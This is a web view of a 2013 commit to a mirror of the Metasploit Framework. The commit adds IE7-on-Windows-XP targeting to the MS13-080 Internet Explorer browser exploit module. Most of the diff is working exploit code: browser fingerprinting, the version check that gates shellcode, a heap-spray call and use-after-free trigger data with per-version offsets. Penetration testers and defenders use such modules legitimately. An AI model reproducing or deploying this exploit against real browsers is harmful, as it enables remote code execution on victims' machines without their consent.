infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Add support for IE7 on XP

bug/bundler_fix
James Lee 2013-10-16 15:56:34 -05:00
parent d13fa7e9a5
commit 4fa3b8f820
1 changed files with 9 additions and 5 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

14
modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb
View File

@ -66,8 +66,9 @@ class Metasploit3 < Msf::Exploit::Remote
'Targets' => 'Targets' =>
[ [
[ 'Automatic', {} ], [ 'Automatic', {} ],
[ 'IE 7 on Windows XP SP3', {} ],
[ 'IE 8 on Windows XP SP3', {} ], [ 'IE 8 on Windows XP SP3', {} ],
[ 'IE 8 on Windows 7', {} ] [ 'IE 8 on Windows 7', {} ],
], ],
'Payload' => 'Payload' =>
{ {
@ -121,7 +122,7 @@ function dll() {
} }
window.onload = function() { window.onload = function() {
window.location = "#{get_resource}/search?o=" + escape(Base64.encode(os())) + "&d=" + dll(); window.location = "#{get_uri.chomp("/")}/search?o=" + escape(Base64.encode(os())) + "&d=" + dll();
} }
</script> </script>
</html> </html>
@ -208,7 +209,7 @@ window.onload = function() {
os = target_info[:os] os = target_info[:os]
js_payload = '' js_payload = ''
if os =~ /Windows (7|XP) MSIE 8\.0/ if os =~ /Windows (7|XP) MSIE [78]\.0/
js_payload = Rex::Text.to_unescape(get_payload(target_info)) js_payload = Rex::Text.to_unescape(get_payload(target_info))
else else
print_error("Target not supported by this attack.") print_error("Target not supported by this attack.")
@ -224,8 +225,11 @@ sprayHeap({shellcode:unescape("#{js_payload}")});
var earth = document; var earth = document;
var data = ""; var data = "";
for (i=0; i<17; i++) { for (i=0; i<17; i++) {
if (i==7) { data += unescape("%u2020%u2030"); } // IE 7
else { data += "\\u4141\\u4141"; } if (i==6) { data += unescape("%u2020%u2030"); }
// IE 8/9
else if (i==7) { data += unescape("%u2020%u2030"); }
else { data += unescape("%u4141%u4141"); }
} }
data += "\\u4141"; data += "\\u4141";